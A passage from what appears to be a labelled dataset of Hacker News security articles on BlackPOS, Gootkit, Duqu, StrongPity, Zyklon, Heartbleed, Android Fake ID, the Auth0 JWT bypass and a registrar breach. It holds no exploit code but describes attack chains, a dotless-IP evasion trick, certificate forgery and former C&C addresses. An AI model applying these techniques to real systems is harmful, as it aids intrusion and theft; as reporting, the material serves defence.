In an interview with Russian channel 'LifeNews', Rinat Shabayev admitted that he had developed the BlackPOS crimeware kit. He clarified that the program developed by him was not meant for any kind of data theft, instead the program was written for the security testing.

He developed the malware with the help of another programmer with anonymous identity, whom he had met online. His original plan was just to sell the exploit, not to use it for malicious intent by himself.

His friend took the readymate codes from him and added more features to it. In addition to this information, he also confessed that the exploit can be used for malicious purposes too.

Researchers at IntelCrawler say that the same malware may have also been involved in the Neiman Marcus attack too.
Whatever be the intention of the programmer, but now more than 110 million people are suffering credit card theft because of his software. Even after knowing that the malware has ability to compile a massive financial theft, his justifications are not enough to be innocent.

",Malware
Researcher Found TextSecure Messenger App Vulnerable to Unknown Key-Share Attack,https://thehackernews.com/2014/11/textsecure-private-messenger-vulnerable_2.html,"Do you use TextSecure Private Messenger for your private conversations? If yes, then Are you sure you are actually using a Secure messaging app?

TextSecure, an Android app developed by Open WhisperSystems, is completely open-source and claims to support end-to-end encryption of text messages. The app is free and designed by keeping privacy in mind.

However, while conducting the first audit of the software, security researchers from Ruhr University Bochum found that the most popular mobile messaging app is open to an Unknown Key-Share attack.

After Edward Snowden revealed state surveillance programs conducted by the National Security Agency, and meanwhile when Facebook acquired WhatsApp, TextSecure came into limelight and became one of the best alternatives for users who want a secure communication.
""Since Facebook bought WhatsApp, instant messaging apps with security guarantees became more and more popular,"" the team wrote in the paper titled, ""How Secure is TextSecure?"".
The messaging app attracted a lot of attention lately and was downloaded by half a million users from the Google's Play Store. The research team explained a complete and precise document and analyze of TextSecure's secure push messaging protocol.
""We are the first to completely and precisely document and analyses TextSecure's secure push messaging protocol,"" the team wrote.
""We show that if long-term public keys are authentic, so are the message keys, and that the encryption block of TextSecure is actually one-time stateful authenticated encryption [and] prove TextSecure's push messaging can indeed achieve the goals of authenticity and confidentiality.""
According to the research team, TextSecure works on a complex cryptographic protocol which is the part of the CyanogenMod Android operating system — a popular open source aftermarket Android firmware that has been installed on about 10 million Android devices. But researchers discovered an Unknown Key-Share Attack (UKS) against the protocol.

The research was conducted by Tilman Frosch, Christian Mainka, Christoph Bader, Florian Bergsma, Jorg Schwenk and Thorsten Holz. For better understanding the UKS against the protocol, the team explained it via an example as follows:
""Bart wants to trick his friend Milhouse. Bart knows that Milhouse will invite him to his birthday party using TextSecure. He starts the attack by replacing his own public key with Nelson's public key and lets Milhouse verify the fingerprint of his new public key. This can be justified, for instance, by claiming to have a new device and having simply re-registered ... if Milhouse invites Bart to his birthday party, then Bart may just forward this message to Nelson who will believe that this message was actually sent from Milhouse. Thus, Milhouse believes that he invited Bart to his birthday party, where in fact, he invited Nelson.""
The researchers also provided a mitigation strategy, which has already been acknowledged by TextSecure's developers, that prevents the UKS attack. The proposed method actually resolves the issue, making TextSecure's push messaging secure and achieves one-time stateful authenticated encryption.

",Vulnerability
Gootkit RAT Using SEO to Distribute Malware Through Compromised Sites,https://thehackernews.com/2021/03/gootkit-rat-using-seo-to-distribute.html,"A framework notorious for delivering a banking Trojan has received a facelift to deploy a wider range of malware, including ransomware payloads.
""The Gootkit malware family has been around more than half a decade – a mature Trojan with functionality centered around banking credential theft,"" Sophos researchers Gabor Szappanos and Andrew Brandt said in a write-up published today.
""In recent years, almost as much effort has gone into improvement of its delivery method as has gone into the NodeJS-based malware itself.""
Dubbed ""Gootloader,"" the expanded malware delivery system comes amid a surge in the number of infections targeting users in France, Germany, South Korea, and the U.S.
First documented in 2014, Gootkit is a Javascript-based malware platform capable of carrying out an array of covert activities, including web injection, capturing keystrokes, taking screenshots, recording videos, as well as email and password theft.
Over the years, the cybercrime tool has evolved to gain new information-stealing features, with the Gootkit loader repurposed in combination with REvil/Sodinokibi ransomware infections reported last year.
While campaigns using social engineering tricks to deliver malicious payloads are a dime a dozen, Gootloader takes it to the next level.
The infection chain resorts to sophisticated techniques that involve hosting malicious ZIP archive files on websites belonging to legitimate businesses that have been gamed to appear among the top results of a search query using manipulated search engine optimization (SEO) methods.
What's more, the search engine results point to websites that have no ""logical"" connection to the search query, implying that the attackers must be in possession of a vast network of hacked websites. In one case spotted by the researchers, an advice for a real estate agreement surfaced a breached neonatal medical practice based in Canada as the first result.
""To ensure targets from the right geographies are captured, the adversaries rewrite website code 'on the go' so that website visitors who fall outside the desired countries are shown benign web content, while those from the right location are shown a page featuring a fake discussion forum on the topic they've queried,"" the researchers said.
Clicking the search result takes the user to a fake message board-like page that matches not only the search terms used in the initial query but also includes a link to the ZIP file, which contains a heavily obfuscated Javascript file that initiates the next stage of compromise to inject the fileless malware fetched from a remote server into memory.
This takes the form of a multi-stage evasive approach that begins with a .NET loader, which comprises a Delphi-based loader malware, which, in turn, contains the final payload in encrypted form.
In addition to delivering the REvil ransomware and the Gootkit trojan, multiple campaigns have been spotted currently leveraging the Gootloader framework to deliver the Kronos financial malware in Germany stealthily, and the Cobalt Strike post-exploitation tool in the U.S.
It's still unclear as to how the operators gain access to the websites to serve the malicious injects, but the researchers suspect the attackers may have obtained the passwords by installing the Gootkit malware or purchasing stolen credentials from underground markets, or by leveraging security flaws in present in the plugins used alongside content management system (CMS) software.
The findings have been echoed by Microsoft in a series of tweets, noting it's ""seeing numerous extensive hands-on-keyboard attacks emanating from the Gootkit malware, which is distributed via drive-by downloads as a JavaScript within a ZIP file.""
""The developers behind Gootkit appear to have shifted resources and energy from delivering just their own financial malware to creating a stealthy, complex delivery platform for all kinds of payloads, including REvil ransomware,"" said Gabor Szappanos, threat research director at Sophos.
""This shows that criminals tend to reuse their proven solutions instead of developing new delivery mechanisms. Further, instead of actively attacking endpoint tools as some malware distributors do, the creators of Gootloader have opted for convoluted evasive techniques that conceal the end result,"" he added.

",Malware
Heartbleed - OpenSSL Zero-day Bug leaves Millions of websites Vulnerable,https://thehackernews.com/2014/04/heartbleed-openssl-zero-day-bug-leaves.html,"It is advised to those who are running their web server with OpenSSL 1.0.1 through 1.0, then it is significantly important that you update to OpenSSL 1.0.1g immediately or as soon as possible.

As this afternoon, an extremely critical programming flaw in the OpenSSL has been discovered that apparently exposed the cryptographic keys and private data from some of the most important sites and services on the Internet.

The bug was independently discovered by security firm Codenomicon along with a Google Security engineer. The flaw is in the popular OpenSSL cryptographic software library and its weakness allows cyber criminals to steal the information protected, under normal conditions, by the SSL (Secure Sockets Layer) or TLS (Transport Security Layer) encryption used to secure the Internet.

OpenSSL is an open-source implementation of the SSL and TLS protocols. The core library implements the basic cryptographic functions that enable SSL and TLS encryption. Mostly every websites use either SSL or TLS, even the Apache web server that powers almost half of the websites over internet utilizes OpenSSL.

HEARTBLEED BUG
The discoverer of the vulnerability dubbed the bug as 'Heartbleed bug', as the exploit rests on a bug in the implementation of OpenSSL's TLS/DTLS (transport layer security protocols) heartbeat extension (RFC6520).

This critical bug with code ID CVE-2014-0160, could allows an attacker to expose up to 64kB of memory from the server or a connected client computer running a vulnerable version of OpenSSL software. Specifically, this means that an attacker can steal keys, passwords and other private information remotely.

""We have tested some of our own services from attacker's perspective. We attacked ourselves from outside, without leaving a trace. Without using any privileged information or credentials we were able steal from ourselves the secret keys used for our X.509 certificates, usernames and passwords, instant messages, emails and business critical documents and communication.""

The vulnerability in the OpenSSL's transport layer security (TSL) protocols' heartbeat section has been in the wild since March 2012 and is supposed to be even more dangerous than Apple's recent SSL bug, which outcropped the possibility for man-in-the-middle (MitM) attacks.

As the Heartbleed bug reveals encryption keys that could lead to other compromises, affects past traffic and may affect as much as 66 percent of Internet websites over the internet. 10 out of top 1000 sites are vulnerable to this flaw, including Yahoo Mail, Lastpass and the FBI site. There also is a proof-of-concept exploit for the flaw posted on Github. On this website, you can check if your web server is vulnerable or not.

""Bugs in single software or library come and go and are fixed by new versions,"" the researchers who discovered the vulnerability wrote in a blog post published Monday. ""However this bug has left a large amount of private keys and other secrets exposed to the Internet. Considering the long exposure, ease of exploitations and attacks leaving no trace this exposure should be taken seriously.""

Fixes for the bug have been released by the researchers. So, who are running the OpenSSL 1.0.1f version may update to OpenSSL 1.0.1g. The users running older version of OpenSSL are safe.

Related Important Articles:




German Developer responsible for HeartBleed Bug in OpenSSL
How Heartbleed Bug Exposes Your Passwords to Hackers
How to Protect yourself from the 'Heartbleed' Bug
Heartbleed - OpenSSL Zero-day Bug leaves Millions of websites Vulnerable

",Vulnerability
Leading Web Domain Name Registrars Disclose Data Breach,https://thehackernews.com/2019/10/domain-name-registrars-hacked.html,"Another day, another massive data breach—this time affecting a leading web technology company, as well as both of its subsidiaries, from where millions of customers around the world have purchased domain names for their websites.

The world's top domain registrars Web.com, Network Solutions, and Register.com disclosed a security breach that may have resulted in the theft of customers' account information.

Founded in 1999 and headquartered in Jacksonville, Florida, Web.com is a leading web technology company that owns both Network Solutions and Register.com. The companies offer web services like web hosting, website design, and online marketing to help people build their own websites.

What happened? — In late August 2019, a third-party gained unauthorized access to a ""limited number"" of the company's computer systems and reportedly accessed millions of records for accounts of current and former customers with Web.com, Network Solutions, and Register.com.

The company said it became aware of the security intrusion only on October 16, 2019, but did not disclose any details on how the incident happened.

What type of information was compromised? — According to the affected domain registrars, the stolen information includes contact details of their customers, such as:

Names
Addresses
Phone numbers
Email addresses
Information about the services offered to a customer.

What type of information was not compromised? — The companies also confirmed that no credit card information was compromised as a result of the security breach incident since they claim to encrypt their customers' credit card numbers before storing them on their databases.


""We store credit card numbers in a PCI (Payment Card Industry) compliant encryption standard and do not believe your credit card information is vulnerable as a specific result of this incident,"" reads a breach notice published on websites of Web.com, Network Solutions, and Register.com.



To be noted, the passwords for account logins of affected customers were also not compromised, which otherwise could have allowed attackers to permanently hijack domain names by transferring them to an account owned by attackers with a separate service.

What are the affected companies now doing? — The companies took necessary steps to stop the security intrusion upon discovery and immediately launched an investigation by engaging a leading independent cybersecurity firm to determine the scope of the incident.

The companies have also notified all the relevant authorities and already started working with federal law enforcement.

All three affected domain registrars are also in the process of contacting affected customers through email and via their websites.

What affected customers should do now? — As a precaution, affected customers are encouraged to change passwords for their Web.com, Network Solutions, and Register.com accounts and for any other online account where you use the same credentials.

Do it even if you are not affected—just to be on the safer side.

""We have already taken additional steps to secure your account, and there is nothing you need to do at this time. The next time you log in to your account, you will be required to reset your password,"" the domain registrars recommend.



Since the exposed data includes personal identifying information (PII), affected customers should mainly be suspicious of phishing emails, which are usually the next step of cybercriminals in an attempt to trick users into giving away their passwords and credit card information.

Although the data breach did not expose any financial information, it is always a good idea to be vigilant and keep a close eye on your bank and payment card statements for any unusual activity and report to the bank if you find any.

This is not the first time Web.com has disclosed a security incident. In August 2015, the company suffered a major data breach that had compromised personal and credit card information belonging to nearly 93,000 customers.

",Data_Breaches
DUQU – Another Stuxnet in the Making ?,https://thehackernews.com/2011/11/duqu-another-stuxnet-in-making.html,"DUQU – Another Stuxnet in the Making ?


Article by : Nidhi Rastogi is a Cyber security professional based in New York. Article shared from THE HACKER NEWS magazine - November Edition. You can download Complete Magazine here.


Barely a year into discovering Stuxnet, the world recently saw its powerful variant in the form of Duqu. It is believed that a Hungarian blogger was the first to have a tryst with the virus in early September at an ISP hosting service.

Why it is important: Duqu has gained a lot of attention because of striking similarities with its famous predecessor, Stuxnet. Several Security researchers have concluded that 99 percent of Duqu software rules are same as Stuxnet including source code and keys for encryption. There is reasonable evidence by now that the damage caused by Stuxnet was real. Hence, Duqu is of concern to every security professional at the moment.

How it functions: Duqu camouflages its own data behind normal web traffic to avoid suspicion from network administrators. This information is then sent over to a remote command and control server (CC server) using http request. The server responds with a blank JPG image, in response to which, Duqu sends back an image appended with encrypted stolen information. The IP address of the CC server used for these initial operations was 206.183.111.97 and was tracked to India. The CC server has been deactivated since then.

The Trojan horse, unlike Stuxnet, is able to record keystrokes, collect various details of system which is then encrypted and appended to an image file. The data may simply be configuration and design data from the systems, presumably to allow someone get competitive advantage. The Trojan has been configured to run on the host machine for 36-days, after which the threat vector will automatically destroy itself from the system. However, additional components sent from the CC server can extend the life beyond this time period.
Purpose: Duqu appears to be focusing on data mining right now, scouting host machine to gain information or features about the environment. The real purpose of spreading the Trojan has been obscure and the data collection may just be an initial stage of a larger setup.

Complexity: There is nothing novel about the attack vector and it can be safely assumed that the creator at least had access to Stuxnet code. Once a certain piece is in circulation, others build upon it. And this may be the case with Duqu. Duqu too, like Stuxnet, uses a stolen digital certificate from a Taiwanese company to prove its authenticity. Also, Duqu couldn't have been around for too long since the driver sign date has been recorded to be July 2011. There is also a likelihood of the same team being employed to create the Stuxnet variant. Like the Stuxnet, Duqu too is a State sponsored attack, since no other party would engage in an activity that requires ample technical caliber but brings no obvious monetary benefit.

Other Theories: Various theories are floating around about the motive and origin of Duqu. One of the interesting one is by @reversemode on twitter. According to him, one of the galaxy pictures comes from 66.49.141.227, which suggests Hebrew connection with Duqu. In the past 1 week, a few more variants have been discovered, but not much can be said about them as it too early.

Analysis: Duqu gives the impression of something much bigger coming up than what meets the eye. It is also interesting to note that the techniques used to deploy these attacks are not state of the art. The depth of information that can be extracted using Duqu is no different from what Stuxnet could do. Neither is it any more sophisticated from what we have seen with Aurora. They were intriguing because of the coming together of a possibly destructive operation of their stature. But it's not the same with Duqu. Apart from the complexities it shares with its predecessor, Duqu creators have also used age-old techniques – bad password policy, use of USB drive outside of work and the likes to aid spread the virus. So what is it about this trojan-virus that is catching every eye-ball?

Duqu bears testimony to the beginning of an era where cyber war will grow bigger than nuclear and the likes. It is not that we were caught unaware of nation states espionage programs this time. It is the frequency with which they were discovered corroborates the theory that future will see a steep rise in cybercrime. Dealing with this is going to be a major focus for a majority of us security professionals.
DUQU in news :
Duqu malware was created to spy on Iran's nuclear program
Duqu Trojan found in Indian Server
Duqu Analysis and Detection Tool by NSS Labs
Stuxnet's Son ""Duqu"" Removal Tool released by Bitdefender
Windows Kernel Zero Day Vulnerability Found in Duqu Installer

",Malware
Searching for Best Encryption Tools? Hackers are Spreading Malware Through Fake Software,https://thehackernews.com/2016/10/best-encryption-tools.html,"Over the past few years, Internet users globally have grown increasingly aware of online privacy and security issues due to mass monitoring and surveillance by government agencies, making them adopt encryption software and services.

But it turns out that hackers are taking advantage of this opportunity by creating and distributing fake versions of encryption tools in order to infect as many victims as possible.

Kaspersky Lab has revealed an advanced persistent threat (APT) group, nicknamed StrongPity, which has put a lot of efforts in targeting users of software designed for encrypting data and communications.

The StrongPity APT group has been using watering-hole attacks, infected installers, and malware for many years to target users of encryption software by compromising legitimate sites or setting up their own malicious copycat sites.

Watering hole attacks are designed to lure specific groups of users to their interest-based sites that typically house malicious files or redirect them to attacker-controlled downloads.

The StrongPity APT group has managed to infect users in Europe, Northern Africa, and the Middle East and targeted two free encryption utilities in different attacks: WinRAR and TrueCrypt.

WinRAR and TrueCrypt are long popular within security and privacy conscious users. WinRAR is best known for its archiving capabilities that encrypting files with AES-256 crypto, while TrueCrypt is a full-disk encryption utility that locks all files on a hard drive.

By setting up fake distribution sites that closely mimic legitimate download sites, StrongPity is able to trick users into downloading malicious versions of these encryption apps in hopes that users encrypt their data using a trojanized version of WinRAR or TrueCrypt apps, allowing attackers to spy on encrypted data before encryption occurred.

""The problem with people depending on tools like this isn't the strength of the crypto, but more about how it's distributed,"" says Kurt Baumgartner, principal security researcher at Kaspersky Lab. ""This is that problem that StrongPity is taking advantage of.""

Booby-Trapped WinRAR and TrueCrypt Downloads

The APT group previously set up TrueCrypt-themed watering holes in late 2015, but their malicious activity surged in end of summer 2016.

Between July and September, dozens of visitors have redirected from tamindir[.]com to true-crypt[.]com with unsurprisingly almost all of the focus on computer systems in Turkey, with some victims in the Netherlands.

However, in WinRAR case, instead of redirecting victims to a website controlled by StrongPity, the group hijacked the legitimate winrar.it website to host a malicious version of the file themselves.

The winrar.it website infected users mostly in Italy, with some victims in countries like Belgium, Algeria, Tunisia, France, Morocco and Cote D'Ivoire, while the attackers controlled site, winrar.be, infected users in Belgium, Algeria, Morocco, the Netherlands, and Canada.

Top Countries infected with StrongPity APT malware

According to Kaspersky, more than 1,000 systems infected with StrongPity malware this year. The top five countries affected by the group are Italy, Turkey, Belgium, Algeria and France.

The StrongPity APT's dropper malware was signed with ""unusual digital certificates,"" but the group didn't re-use its fake digital certificates. It downloaded components include a backdoor, keyloggers, data stealers and other crypto-related software programs, including the putty SSH client, the filezilla FTP client, the Winscp secure file transfer program and remote desktop clients.

The dropper malware not only provides the hackers control of the system, but also allows them to steal disk contents and download other malware that would steal communication and contact information.

Therefore, users visiting sites and downloading encryption-enabled software are advised to verify both the validity of the distribution website as well as the integrity of the downloaded file itself.

Download sites that not use PGP or any strong digital code signing certificate are required to re-examine the necessity of doing so for the benefits of them as well as their own customers, explained Baumgartner.

",Malware
Windows Kernel Zero Day Vulnerability Found in Duqu Installer,https://thehackernews.com/2011/11/windows-kernel-zero-day-vulnerability.html,"Windows Kernel Zero Day Vulnerability Found in Duqu Installer

Duqu malware attack exploited a zero-day vulnerability in the Windows kernel, according to security researchers tracking the Stuxnet-like cyber-surveillance Trojan. The vulnerability has since been reported to Microsoft and Microsoft is working on a fix for the kernel vulnerability right now.

Researchers at the Laboratory of Cryptography and System Security (CrySyS) in Hungary confirmed the existence of the zero-day vulnerability and exploit in a brief note posted to its web site.

Our lab, the Laboratory of Cryptography and System Security (CrySyS) pursued the analysis of the Duqu malware and as a result of our investigation, we identified a dropper file with an MS 0-day kernel exploit inside. We immediately provided competent organizations with the necessary information such that they can take appropriate steps for the protection of the users.


The installer file is a Microsoft Word document (.doc) that exploits a previously unknown kernel vulnerability that allows code execution. We contacted Microsoft regarding the vulnerability and they're working diligently towards issuing a patch and advisory. When the file is opened, malicious code executes and installs the main Duqu binaries. The chart below explains how the exploit in the Word document file eventually leads to the installation of Duqu.

Other security vendors have reported infections in the following countries: • Austria • Hungary • Indonesia • United Kingdom • Iran - infections different from those observed by Symantec.

""Microsoft is collaborating with our partners to provide protections for a vulnerability used in targeted attempts to infect computers with the Duqu malware. We are working diligently to address this issue and will release a security update for customers through our security bulletin process,"" Jerry Bryant, group manager of response communications in Microsoft's Trustworthy Computing group said in a statement.

You can find Symantec updated whitepaper (version 1.3) here. Key updates in the Symantec whitepaper include:
• An unpatched zero-day vulnerability is exploited through a Microsoft Word document and installs Duqu
• Attackers can spread Duqu to computers in secure zones and control them through a peer-to-peer C&C protocol
• Six possible organizations in eight countries have confirmed infections
• A new C&C server (77.241.93.160) hosted in Belgium was discovered and has been shut down.

[Source]

",Malware
"Android ""Fake ID"" Vulnerability Allows Malware to Impersonate Trusted Apps",https://thehackernews.com/2014/07/android-fake-id-vulnerability-allows_29.html,"Due to the majority in the mobile platform, Google's Android operating system has been a prior target for cybercriminals and a recently exposed weakness in the way the operating system handles certificate validation, left millions of Android devices open to attack.

Researchers at BlueBox security, who identified the vulnerability, dubbed the flaw as Fake ID, which affects all versions of Android operating system from 2.1 (released in 2010) up to Android 4.4, also known as KitKat.

ALL VERSIONS ARE VULNERABLE UPTO KITKAT
Researchers marked the vulnerability as critical because it could allow a fake and malicious app to masquerade as a legitimate and trusted application, enabling an attacker to perform various actions such as inserting malicious code into a legitimate app, infiltrating your personal information or even take complete control of an affected device. Specifically, devices running the 3LM administration extension are at risk for a complete compromise, which includes devices from HTC to Pantech, Sharp, Sony Ericsson, and Motorola.

""Every Android application has its own unique identity, typically inherited from the corporate developer's identity,"" Bluebox CTO Jeff Forristal wrote in a blog post published Wednesday. The bug, however, will copy the identifies and use them ""for nefarious purposes.""

WHAT IS ""FAKE ID"" ANDROID VULNERABILITY
Researchers named the flaw ""Fake ID"" because it allows malicious applications to pass fake credentials to Android OS, which fails to properly verify the application's cryptographic signature. Instead, the operating system grants all the access permissions to the rogue application that it grants to the legitimate app.

Actually, in order to establish the identity of the app developer, Android applications are signed using digital certificates. But due to the claimed Fake ID vulnerability, the Android app installer doesn't try to authenticate the certificate chain of a given app, which means an attacker can built an app with a fake identity and impersonate it with extensive privileges such as an Adobe plug-in or Google Wallet.

IMPACT AND EXAMPLES
In the case of Adobe, the malware app would look like Adobe-trusted code and have the ability to escape the sandbox and run malicious code inside another app, the researchers said.
""For example, an attacker can create a new digital identity certificate, forge a claim that the identity certificate was issued by Adobe Systems, and sign an application with a certificate chain that contains a malicious identity certificate and the Adobe Systems certificate,"" the Bluebox researchers said in a post explaining their discovery.
""Upon installation, the Android package installer will not verify the claim of the malicious identity certificate, and create a package signature that contains the both certificates. This, in turn, tricks the certificate-checking code in the webview plugin manager (who explicitly checks the chain for the Adobe certificate) and allows the application to be granted the special webview plugin privilege given to Adobe Systems – leading to a sandbox escape and insertion of malicious code, in the form of a webview plugin, into other applications.""
TARGETING GOOGLE WALLET PAYMENT SYSTEM
Researchers also pointed out one more target of an attacker exploiting the Fake ID vulnerability i.e. Google's own Wallet payment system. A malicious app with signature of Google Wallet would allow an attacker to access the NFC (Near Field Communications) chip in the device.

The NFC chip in the device is responsible for the storage of payment information used in NFC payments via Google Wallet. This NFC is used in various electronic payment applications and a malicious code can harvest credit card numbers as well.

According to Jeff Forristal, the attackers have more ways to exploit Fake ID vulnerability, a bug that he will discuss in a presentation at Black Hat in Las Vegas next week.

PATCH RELEASED, BUT YOU CAN'T GET IT IMMEDIATELY
Google already released a patch to its partners in April. However, it still leaves a millions of handsets out there that are still vulnerable, as it's up to the carriers themselves to push the updates to users.

The vulnerability resides in the Android operating system therefore the new update would be available for the users in the coming period, may be today, a month after or could take a year.

As the researchers say, Effectively addressing a vulnerability requires a three step process:
Google produces a generic code fix, which it provides to the Android phone manufacturers
Then phone manufacturers must then incorporate that fix into a firmware update suitable to specific phones, which they provide to carriers
The carrier then distributes the final update, which ensures your phone is safe from the vulnerability As regards Fake ID, Google has provided the generic code fix to the phone manufacturers.
Bluebox Security has also built a Scanner to test for the vulnerability and has a couple of ideas for those who still haven't got the patch.

Bluebox Security is the same company that uncovered the so-called Android ""Master Key"" vulnerability that allowed an attacker to modify any legitimate and digitally signed application in order to transform it into a Trojan program that could then be used to steal device' information or take control of the device.

",Malware
Hackers Exploiting Three Microsoft Office Flaws to Spread Zyklon Malware,https://thehackernews.com/2018/01/microsoft-office-malware.html,"Security researchers have spotted a new malware campaign in the wild that spreads an advanced botnet malware by leveraging at least three recently disclosed vulnerabilities in Microsoft Office.

Dubbed Zyklon, the fully-featured malware has resurfaced after almost two years and primarily found targeting telecommunications, insurance and financial services.

Active since early 2016, Zyklon is an HTTP botnet malware that communicates with its command-and-control servers over Tor anonymising network and allows attackers to remotely steal keylogs, sensitive data, like passwords stored in web browsers and email clients.

Zyklon malware is also capable of executing additional plugins, including secretly using infected systems for DDoS attacks and cryptocurrency mining.

Different versions of the Zyklon malware has previously been found being advertised on a popular underground marketplace for $75 (normal build) and $125 ( Tor-enabled build).

According to a recently published report by FireEye, the attackers behind the campaign are leveraging three following vulnerabilities in Microsoft Office that execute a PowerShell script on the targeted computers to download the final payload from its C&C server.

1) .NET Framework RCE Vulnerability (CVE-2017-8759)—this remote code execution vulnerability exists when Microsoft .NET Framework processes untrusted input, allowing an attacker to take control of an affected system by tricking victims into opening a specially crafted malicious document file sent over an email. Microsoft already released a security patch for this flaw in September updates.

2) Microsoft Office RCE Vulnerability (CVE-2017-11882)—it's a 17-year-old memory corruption flaw that Microsoft patched in November patch update allows a remote attacker to execute malicious code on the targeted systems without requiring any user interaction after opening a malicious document.

3) Dynamic Data Exchange Protocol (DDE Exploit)—this technique allows attackers to leverage a built-in feature of Microsoft Office, called DDE, to perform code execution on the targeted device without requiring Macros to be enabled or memory corruption.

As explained by the researchers, attackers are actively exploiting these three vulnerabilities to deliver Zyklon malware using spear phishing emails, which typically arrives with an attached ZIP file containing a malicious Office doc file.

Once opened, the malicious doc file equipped with one of these vulnerabilities immediately runs a PowerShell script, which eventually downloads the final payload, i.e., Zyklon HTTP malware, onto the infected computer.
""In all these techniques, the same domain is used to download the next level payload (Pause.ps1), which is another PowerShell script that is Base64 encoded,"" the FireEye researchers said.
""The Pause.ps1 script is responsible for resolving the APIs required for code injection. It also contains the injectable shellcode.""
""The injected code is responsible for downloading the final payload from the server. The final stage payload is a PE executable compiled with .Net framework.""
Interestingly, the PowerShell script connects to a dotless IP address (example: https://3627732942) to download the final payload.

What is Dotless IP Address? If you are unaware, dotless IP addresses, sometimes referred as 'Decimal Address,' are decimal values of IPv4 addresses (represented as dotted-quad notation). Almost all modern web browsers resolve decimal IP address to its equivalent IPV4 address when opened with ""https://"" following the decimal value.

For example, Google's IP address 216.58.207.206 can also be represented as https://3627732942 in decimal values (Try this online converter).

The best way to protect yourself and your organisation from such malware attacks are always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless adequately verifying the source.

Most importantly, always keep your software and systems up-to-date, as threat actors incorporate recently discovered, but patched, vulnerabilities in popular software—Microsoft Office, in this case—to increase the potential for successful infections.

",Malware
Google Discloses Another Unpatched Windows 8.1 Vulnerability,https://thehackernews.com/2015/01/windows-8-hacking-exploit.html,"Google has once again released the details of a new privilege escalation bug in Microsoft's Windows 8.1 operating system before Microsoft planned to patch the bug, triggering a new quarrel between the two tech giants.

This is second time in less than a month when the Google's security research team known as Project Zero released details of the vulnerability in Microsoft's operating system, following its 90-day public disclosure deadline policy.

Google Project Zero team routinely finds vulnerabilities in different products from different companies. The vulnerabilities then get reported to the affected software vendors and if they do not patch the flaws in 90 days, Google automatically makes the vulnerability along with its details public.

DISCLOSURE OF TWO SECURITY HOLES IN LESS THAN A MONTH
Two weeks back, Google Project Zero team disclosed details of an elevation of privilege (EoP) vulnerability affecting Windows 8.1 that may have allowed hackers to modify contents or even to take over victims' computers completely, leaving millions of users vulnerable.

At the time, Microsoft criticized Google for disclosing the Windows 8.1 security flaw out in the public just before it was planing to fix it. According to Microsoft, the Windows 8.1 vulnerability disclosed by Google may have potentially exposed the users of the operating system to hackers.

However, releasing details with the proof of concept for the second security hole in Microsoft's Windows 8.1 just two days before Microsoft planned to patch the bug indicates that Google project zero is determined to stick to its 90-day deadline for fixing software flaws.

MICROSOFT vs GOOGLE
Though, Microsoft is very upset with 90-day disclosure deadline enforced by Google's Project Zero team. The team notified the new elevation of privilege flaw to Microsoft on 13 October.

In November, Microsoft asked Google for an extension of the deadline till February 2015, when it plans to address the issue. However, the search engine giant refused. But later when Microsoft promised to address the vulnerability in January Patch Tuesday, Google still refused to extend its deadline even by two days.
""We asked Google to work with us to protect customers by withholding details until Tuesday, January 13, when we will be releasing a fix,"" said Chris Betz, senior director with Microsoft's Security Response Center, in a blog post Sunday. ""Although following through keeps to Google's announced timeline for disclosure, the decision feels less like principles and more like a 'gotcha', with customers the ones who may suffer as a result.""
TECHNICAL DETAILS OF THE NEW EoP FLAW
According to Google's security team, User Profile Service is used to create certain directories and mount the user hives as soon as a user logs into a computer. Other than loading the hives, the base profile directory is created under a privileged account, which is secure because normal user requires administrator privileges to do so.
""However there seems to be a bug in the way it handles impersonation, the first few resources in the profile get created under the user's token, but this changes to impersonating Local System part of the way through,"" Google said. ""Any resources created while impersonating Local System might be exploitable to elevate privilege. Note that this occurs every time the user logs in to their account, it isn't something that only happens during the initial provisioning of the local profile.""
A proof-of-concept (PoC) demonstrating the attack on Microsoft's Windows 8.1 operating system has been published, but experts have confirmed that the vulnerability also affects Windows 7.

",Vulnerability
Authentication Bypass Vulnerability Found in Auth0 Identity Platform,https://thehackernews.com/2018/04/auth0-authentication-bypass.html,"A critical authentication bypass vulnerability has been discovered in one of the biggest identity-as-a-service platform Auth0 that could have allowed a malicious attacker to access any portal or application, which are using Auth0 service for authentication.

Auth0 offers token-based authentication solutions for a number of platforms including the ability to integrate social media authentication into an application.

With over 2000 enterprise customers and managing 42 million logins every day and billions of login per month, Auth0 is one of the biggest identity platforms.

While pentesting an application back in September 2017, researchers from security firm Cinta Infinita discovered a flaw (CVE-2018-6873) in Auth0's Legacy Lock API, which resides due to improper validation of the JSON Web Tokens (JWT) audience parameter.

Researchers successfully exploited this issue to bypass login authentication using a simple cross-site request forgery (CSRF/XSRF) attack against the applications running over Auth0 authentication.

Auth0's CSRF vulnerability (CVE-2018-6874) allows an attacker to reuse a valid signed JWT generated for a separate account to access the targeted victim's account.

For this, all an attacker needs is the victim's user ID or email address, which can be obtained using simple social engineering tricks.

Video Demonstration of the Attack
According to the researchers, the attack is reproducible against many organisations, ""as long as we know the expected fields and values for the JWT. There is no need of social engineering in most of the cases we saw. Authentication for applications that use an email address or an incremental integer for user identification would be trivially bypassed.""

The security firm reported the vulnerability to the Auth0 Security Team in October 2017. The company acted very fast and addressed the weakness in less than 4 hours.

However, since the vulnerable SDK and supported libraries of Auth0 have been implemented on the client side, Auth0 took almost six months to contact each of their customers and help them fix this vulnerability, before publicly disclosing this issue.
""Unlike the fix for the special case discovered by Cinta Infinita, this issue could not be solved without forcing our customers to upgrade the libraries/SDKs on their end, a much more significant undertaking,"" the Auth0 team said in its advisory.
The company has mitigated the vulnerabilities by extensively rewriting the affected libraries and releasing new versions of its SDKs (auth0.js 9 and Lock 11).

Cinta Infinita also waited six months before publicly disclosing the vulnerability, giving the Auth0 team enough time to update all their Private SaaS Appliances (on-premises) as well.

The security firm has now released a proof-of-concept (PoC) video, demonstrating how they obtained the victim's user id and bypass password authentication when logging into Auth0's Management Dashboard by forging an authentication token.

",Vulnerability
Zeus malware targeting BlackBerry and Android devices,https://thehackernews.com/2012/08/zeus-malware-targeting-blackberry-and.html,"Security researchers at Kaspersky Lab have discovered five new samples of the ZeuS-in-the-Mobile (ZitMo) malware package, targeting Android and BlackBerry devices.

Zitmo (Zeus in the mobile) is the name given to the mobile versions of Zeus, and it's been around for a couple of years already, mostly infecting Android phones. The Zitmo variant has reportedly been operating for at least two years targeting Android phones by masquerading as banking security application or security add-on.

ZitMo gets hold of banking information by intercepting all text messages and passing them on to attackers' own devices. It gets onto devices inside malicious applications, which users are duped into downloading. In this case, the malicious app was posing as security software called 'Zertifikat'.

